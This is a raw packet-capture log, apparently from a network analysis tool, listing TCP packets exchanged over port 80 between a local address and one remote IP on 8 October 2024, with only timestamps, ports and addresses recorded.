Oct 8, 2024 03:30:55.117167950 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.117171049 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.117186069 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.117201090 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.117218018 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.117225885 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.117235899 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.117269993 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.117280006 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.117319107 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.117320061 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.117336035 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.117352009 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.117367029 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.117383003 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.117388010 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.117394924 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.117419004 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.117449999 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.117453098 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.117465019 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.117480040 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.117503881 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.117506981 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.117522955 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.117537975 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.117547989 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.117558956 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.117574930 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.117583036 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.117592096 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.117608070 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.117616892 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.117625952 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.117651939 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.117662907 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.117667913 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.117686987 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.117697001 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.117705107 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.117722988 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.117731094 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.117762089 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.118011951 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.118027925 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.118041992 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.118057966 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.118072987 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.118074894 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.118103027 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.118472099 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.118525028 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.118525028 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.118541956 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.118575096 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.118583918 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.118590117 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.118607044 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.118623018 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.118638039 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.118640900 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.118658066 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.118683100 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.118695021 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.119045973 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.119123936 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.119138002 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.119172096 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.119180918 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.119206905 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.119223118 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.119223118 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.119240046 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.119263887 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.119276047 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.119292021 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.119296074 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.119308949 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.119332075 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.119334936 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.119353056 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.119355917 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.119368076 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.119380951 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.119393110 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.119412899 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.119415045 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.119430065 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.119446993 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.119455099 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.119488001 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.119512081 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.119535923 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.119573116 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.119575977 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.119592905 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.119609118 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.119632006 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.119659901 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.119674921 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.119690895 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.119697094 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.119726896 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.119735956 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.119780064 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.119796038 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.119810104 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.119821072 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.119832039 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.119848967 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.119857073 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.119873047 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.119887114 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.119894028 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.119905949 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.119924068 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.119957924 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.119997025 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.120011091 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.120012999 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.120029926 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.120044947 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.120049000 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.120083094 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.120121002 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.120136976 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.120153904 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.120168924 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.120176077 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.120186090 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.120201111 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.120213032 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.120218039 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.120234013 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.120244980 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.120251894 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.120265961 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.120269060 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.120302916 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.120476007 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.120596886 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.120635033 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.120773077 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.121001959 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.121017933 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.121052980 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.121139050 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.121186018 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.121253014 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.121436119 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.121453047 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.121476889 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.123344898 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.123419046 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.123513937 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.123529911 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.123544931 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.123558998 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.123569965 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.123574972 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.123593092 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.123593092 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.123634100 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.206799030 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.206820011 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.206835985 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.206871033 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.206888914 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.206903934 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.206919909 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.206938028 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.206958055 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.206958055 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.207020998 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.208192110 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.208230972 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.208247900 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.208273888 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.208276987 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.208291054 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.208307028 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.208313942 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.208347082 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.208390951 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.208419085 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.208437920 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.208453894 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.208461046 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.208473921 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.208489895 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.208559990 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.208576918 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.208590984 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.208599091 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.208607912 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.208623886 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.208631039 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.208643913 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.208661079 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.208693027 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.208709002 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.208729029 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.208730936 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.208755016 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.208767891 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.208770037 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.208785057 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.208801031 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.208816051 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.208826065 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.208844900 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.208920956 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.208940029 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.208956003 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.208964109 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.208973885 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.208990097 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.208995104 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.209007025 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.209034920 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.209036112 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.209052086 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.209069014 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.209074974 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.209085941 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.209100962 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.209106922 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.209139109 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.209161997 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.209197044 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.209212065 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.209235907 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.209278107 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.209294081 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.209310055 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.209325075 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.209393978 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.209419966 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.209438086 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.209518909 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.209764957 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.209865093 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.209913015 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.210025072 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.210041046 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.210056067 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.210083008 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.210083961 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.210103989 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.210119963 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.210129023 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.210138083 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.210160017 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.210213900 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.210230112 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.210244894 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.210258007 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.210262060 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.210278034 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.210283041 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.210311890 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.210319042 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.210329056 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.210344076 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.210361004 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.210376978 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.210376978 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.210403919 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.210514069 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.210530043 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.210545063 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.210560083 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.210560083 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.210576057 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.210587025 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.210592985 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.210609913 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.210618019 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.210627079 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.210647106 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.210653067 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.210664988 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.210684061 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.210688114 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.210724115 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.210756063 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.210772991 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.210788012 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.210803986 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.210817099 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.210820913 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.210855007 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.210894108 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.210908890 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.210922956 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.210941076 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.210942030 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.210958958 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.210963011 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.211003065 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.211046934 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.211064100 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.211078882 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.211095095 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.211107969 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.211111069 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.211127996 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.211143017 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.211143017 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.211164951 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.211169958 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.211182117 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.211210966 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.211263895 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.211281061 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.211296082 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.211309910 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.211312056 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.211329937 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.211337090 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.211345911 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.211363077 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.211371899 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.211415052 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.211416006 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.211433887 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.211450100 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.211464882 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.211474895 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.211482048 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.211513042 CEST	49730	80	192.168.2.4	147.45.44.104
Oct 8, 2024 03:30:55.211522102 CEST	80	49730	147.45.44.104	192.168.2.4
Oct 8, 2024 03:30:55.211539030 CEST	80	49730	147.45.44.104	192.168.2.4
